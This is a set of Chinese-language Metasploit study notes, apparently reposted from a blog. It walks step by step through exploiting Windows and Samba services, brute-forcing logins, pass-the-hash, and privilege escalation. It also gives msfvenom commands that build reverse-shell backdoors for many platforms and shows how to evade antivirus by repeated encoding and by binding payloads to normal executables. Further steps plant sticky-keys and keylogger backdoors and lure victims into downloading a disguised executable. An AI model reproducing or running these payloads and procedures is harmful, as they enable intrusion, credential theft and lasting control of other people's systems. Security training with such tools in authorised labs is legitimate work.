msf学习笔记
·? 序言
·? ·? 信息收集工具
·? ·? 漏洞扫描(分析)
·? 抓包改包
·? Burpsuite
·? ·? Fiddler
- ·? ·? Wireshark
·? 漏洞利用
·? Hydra
·? ·? Metasploit
·? ·? SQLmap
·? ·? Beef
·? ·? antSword
- ·?
本文档使用 看云 构建
Metasploit
metasploit体系如下:
基础库文件(Libraris):提供了核心框架和一些基础功能的支持
模块(Modules):实现渗透测试功能的主体代码
插件(Plugins):将外部的集成工具集成到框架中
用户接口(Interface)和功能程序(Utilities):集成模块与插件的渗透测试功能
1.基础库文件
位于源码根目录下的libraries目录中。
Rex:基础组件网络套接字,网络应用协议客户端与服务端实现、日志子系统、渗透攻击例程、数据库支持
core负责实现与各种类型的上层模块及插件的交互接口
base库扩展了core,提供更简单的包装例程支持用户接口与功能程序调用框架功能及集成模块
2.模块
辅助模块(Aux):网络服务的扫描查点、口令猜解、敏感信息嗅探、Fuzz测试发掘漏洞、网络协议欺骗
渗透攻击模块(Exploits)
后渗透攻击模块(Post)
攻击载荷模块(Payloads)
空指令模块(Nops)
编码器模块(Encoders)
3.插件
将Nmap、Neuss等功能集成到metasploit中
4.接口
msfconsle控制台终端
msfcli命令行
msfgui图形化界面
armitage图形化界面
msfapi远程调用接口
5.功能程序
一系列可以直接运行的程序功能,支持安全研究员快速的利用Metasploit框架内部能力完成一些特定功能
console的使用
service postgresql start //先连接数据库
msfconsole? //打开框架
msf>help? //显示msf所支持的命令列表
msf>db_status[lc1]?? //查看是否成功连接数据库
msf>help search? //显示关于search参数的命令和使用
msf>workspace? //当前工作区
msf6 > workspace -h? //帮助
msf6 > workspace -a lcy? //新增工作区lcy
实例入侵metasploitable靶机
1.search samba搜索模块
2.use multi/samba/usermap_script 使用模块
3.show payloads查看可用的载荷
4.set payload cmd/unix/bind_netcat? 使用载荷
5.show options? 选择载荷可用选项
6.set RHOST 192.168.0.94? 设置载荷的攻击目标IP
7.exploit执行渗透攻击
然后攻击成功会建立一个会话,返回一个可交互的shell
这就是使用metasploit渗透的一个常规流程
网络服务渗透攻击面
Windows平台根据网络服务攻击面的类别来分,可分为三大类
1.针对Windows系统自带网络服务的渗透攻击
NetBios:UDP137、138、TCP139,MS03-034
SMB(服务器消息快):TCP445、NBT间接用TCP139接收数据,MS10-012、MS10-054 MSRPC(微软远程过程调用):TCP139、445,MS05-039、MS09-026、
MS08-067 RDP(远程桌面):TCP3389,MS12-020
2.针对Windows系统上微软网络服务的渗透攻击
IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-029
3.针对Windows系统上第三方网络服务的渗透攻击
Apache Tomcat? MYSQL? 用Exploit利器mona.py绕过Windows 7下的DEP+ASLR安全组合。 经典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020
如何使用攻击载荷模块
1.查看载荷信息
info windows/exec? //假设要查看这个载荷的信息
2.管理攻击载荷模块的
Shellcode msfpayload windows/exec CMD=dir C //导出成C语言数组的完整Shellcode。
3.查看Shellcode汇编代码
msfpayload windows/exec CMD=dir R | ndisasm -u
升级和更新
获取新的攻击代码。
进入框架目录更新
cd /usr/share/metasploit-framework/./msfupdate
端口扫描
一、调用nmap扫描
db_nmap -PA -PS[lc2]? 192.168.198.0/24?
msf6 > hosts //查看在线主机
os_name? os_flavor[lc3]?? os_sp? purpose? info? comments
-T 【0-5】:默认为T3 ,T4表示最大TCP扫描延迟是10ms
-sS:TCP SYN
-sA:TCP ACK
-A:打开操作系统和版本探测
--script=vuln? :检查是否有常见漏洞
db_nmap? --script=vuln 192.168.198.1[lc4]?
msf6 > search ms10-061
msf6 > info exploit/windows/smb/ms10_061_spoolss? //查看模块详细信息
使用这个模块:
use 0
查看选项:options
payload是攻击载荷设置
set rhosts 192.168.198.1
…
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.198.5 ??//设置具体选项
…
show targets //查看目标机器,一般使用默认id就行,直接run
run? ?//开始扫描,运行
sessions? ?//查看会话状态
background ?//当前session挂起
session -l? //查看所有session
session -i id? //进入session
back 回退
save? 将当前设置保存下来,一边下次启用msf时仍可以使用。
session -u id? //将session 转换为meterpreter渗透工具
二、MSF扫描模块--use auxiliary/scanner/portscan/syn
search portscan? //搜索端口扫描模块
use auxiliary/scanner/portscan/syn? //使用syn扫描模块
show options? //显示模块可操作选项
set ....? //设置具体选项
run? //开始扫描,运行
upload /usr/shre/windows/nc.exe C:\\windows\\system32??? //上传文件
execute -H[lc5]? -i -f cmd.exe
三、SMB扫描获取系统信息
use auxiliary/scanner/smb/smb_version
show optionsset RHOSTS 192.168.1-200
//可以设置单个IP或者范围set THREADS 10 //设置线程
服务识别
SSH
use auxiliary/scanner/ssh/ssh_version
show optionsset RHOSTS 192.168.0.10
//设置多个ip 192.168.0.11 192.168.0.55run
FTP
use auxiliary/scanner/ftp/ftp_versionset RHOSTS *run
密码嗅探
use auxiliary/sniffer/psnufflerun //可以嗅探FTP
SNMP扫描与枚举
search SNMP
use auxiliary/scanner/snmp/snmp_login
show options
set RHOSTS *
枚举
use auxiliary/scanner/snmp/snmp_enumset RHOST *
set THREADS 10
run
SMB登录验证
use auxiliary/scanner/smb/smb_lo
show options
set RHOSTS *
set SMBuser? administrator
set THREADS 10
run
VNC身份认证
use auxiliary/scanner/vnc/vnc_none_auth
show options
set RHOSTS *
set THREADS 50
run
WMAP(轻量级测试工具,检测常见的Web漏洞)
service postgresql start //先启动数据库
msfconsole //再启动msf
db_status? //msf下输入,查看数据库状态 msfdb init可以初始化数据库
load wmap? //载入wmap
wmap_targets -h? //查看帮助
wmap_sites -a http://www.51xkx.cn //添加URL
wmap_sites -l? //查看配置的URL
wmap_targets -t http://121.42.88.105? //添加url对应的IP
wmap_targets -l //查看是否写入成功
wmap_run -h? //查看运行选项
wmap_run -t //选择运行方式,加载
wmap_run -e //开始测试
wmap_vulns -l //扫描完成后查看结果
远程代码执行
search 08-067? (Win 2003、xp)
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST *
show payloads //查看可用攻击载荷
set payload windows/meterpreter/reverse_tcp
show optionsset LHOST * ?// 设置本机IP,如果是攻击外网,本身必须是外网ip
info 或者show targets //查看系统版本信息
set target 17 //设置目标版本信息 (只有08-067不能自动识别版本号,其他的可以自动获取)
show options //检查设置
exploit //开始攻击
shell //获取目标cmd-shell
MIDI文件解析远程代码执行
影响范围win2003、winxp、win7
search 12-004
use exploit /windows/browser/ms12_004_midi
show options
set SRVHOST * //设置本机IP
set URIPATH /? //把网址后缀改成'/'
exploit //start exploit
sessions //查看会话
sessions -i 1 //连接会话
shell //连接shell
口令安全
search mysql_login //搜索mysql登录破解利用模块,ssh等可以登陆的也行
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 127.0.0.1*
set USERNAME root
set PASS_FILE /root/1.txt
set THREADS 50
exploit
Hash值传递渗透
1.在不知道密码的情况下
获得meterprete后
meterpreter>hashdumpset smbpass 获取到的hash值
2.在知道密码的情况下
直接登录就行
NDProxy内核提权
获取meterpreter情况下,权限小,用这个洞来提升权限
search 14-002
use exploit/windows/local/ms_ndproxy
show options
set session 1 //选择会话
exploit
getuid //查看当前权限
getsystem //这个命令也可以用来提取
多种后门生成msfvenom
msfvenom是用来生成后门的软件,在本地监听上线
msfvenom 是msfpayload和msfencode的结合
参数:
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 \'\x0f\'、\'\x00\';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
比如想查看windows/meterpreter/reverse_tcp
支持什么平台、哪些选项,可以使用
msfvenom -p windows/meterpreter/reverse_tcp --list-options
?使用msfvenom --list payloads
可查看所有payloads
?使用msfvenom --list encoders
可查看所有编码器
metasploit可以生成多钟后门
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py
perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb
lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
———————----------------------------
完整过程
msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip? LPORT=1234 x >123.exe??????
//生成windows后门攻击载荷
ls //查看生成后门所在当前文件夹在
msf监听
search handler
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
set LHOST *
set LPORT 1234
exploit
目标运行后门后,会反弹shell
内网渗透
获得shell之后需要对C段进行一次扫描
meterpreter>run get_local_subnets //获取网卡
run autoroute -s 192.168.48.0/24? //扫描整个C段
在shell中执行,net view 查看域
若有域控在meterpreter劫持它的域管理
use incognito? //调用模块
list_tokens -u //查看它都有什么域
impersonate_token 域管理
shell //获得域管理的shell
如果没有域管理
use auxiliary/sniffer/psnufflerun? //嗅探登录密码 FTP
免杀payload
免杀例子
加壳、改壳、花指令、源码免杀、改特征码
首先还是先生成一个后门
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86
/shikata_ga_nai -t exe >123.exe
//可以多种编码效果更好
msfencode -l //查看有多少可用编码
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e
x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/countdown -c 6 -t exe -o /666.exe
//多次编码
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode
?-t exe -x /root/正常.exe -o 1213.exe -e x86/shikata_ga_nai -k -c 20
//绑定正常的文件
多种编码+多次编码+绑定正常的可执行程序
玩转不一样的XSS
search keylogger? //搜索相关模块
use ....javascript_keylogger 那个模块
show options
set DEMO true //启用官方的DEMO
set URIPATH? /?? //伪装url
set srvport 80 //设置服务端口80
run
类似钓鱼网站,记录键盘,感觉没什么卵用
维持访问(种植后门)
meterpreter>run metsvc -A / /种植后门
msf>use exploit/multi/handler
set payload windows/metsvc_bind_tcp
show options
set LPORT 生成后门的端口
set RHOST *
exploit
主动连接到shell,在服务器上才行
第二种方法,键盘记录后门
meterpreter>keyscan_start? //开启键盘记录
meterpreter>keyscan_dump //查看键盘记录结果
第三种shift后门
meterpreter>shell
CD C:\windows\system32
cacls sethc.exe /t /e /G Administrators:f
cacls cmd.exe /t /e /G Administrators:f
ren sethc.exe aaa.exe
ren cmd.exe sethc.exe
使用Metasploit创建反向shell
1.首先创建反向shell
msfvenon -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100
LPORT=4443 -f exe > cute_dolphin.exe
2.创建监听连接器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.100 set lport 4443
set ExitOnSession false
set AutorunScript post/windows/manage/smart_migrate
exploit -j -z
3.kali已经准备就绪,启动Apache程序 service apache2 start
4.然后将恶意文件复制到Web服务器文件夹内
cp cute_dolphin.exe /var/www/html/
5.引诱受害者访问我们的陷阱
http://192.168.0.100/cute_dolphine.exe
6.查看活动连接 sessions
7.如果打算和会话交互,可以使用-i选项
sessions -i 1
8.我们会看到meterpreter连接
可以查看被入侵的系统信息 sysinfo
或者执行系统shell shell
?[lc1]msf6 > db_status
[*] postgresql selected, no connection
数据库没连接上,首先退出msfconsole命令状态
msfdb reinit
msfdb start
然后进入msfconsole,重新连接就好了。
?[lc3]os_flavor(操作系统版本):
os_sp(操作系统服务包):指操作系统所安装的服务包或补丁的版本号。
purpose(用途):描述设备或系统的用途或功能,例如"Web服务器"、"数据库服务器"等。
info(信息):
comment(备注)
?[lc4]|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR:这是Nmap执行的SMB漏洞扫描脚本的结果。SMB是一种用于文件和打印共享的协议,该扫描尝试检测主机上是否存在MS10-061漏洞。然而,由于无法建立SMB连接或接收数据字节,脚本未能成功执行。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!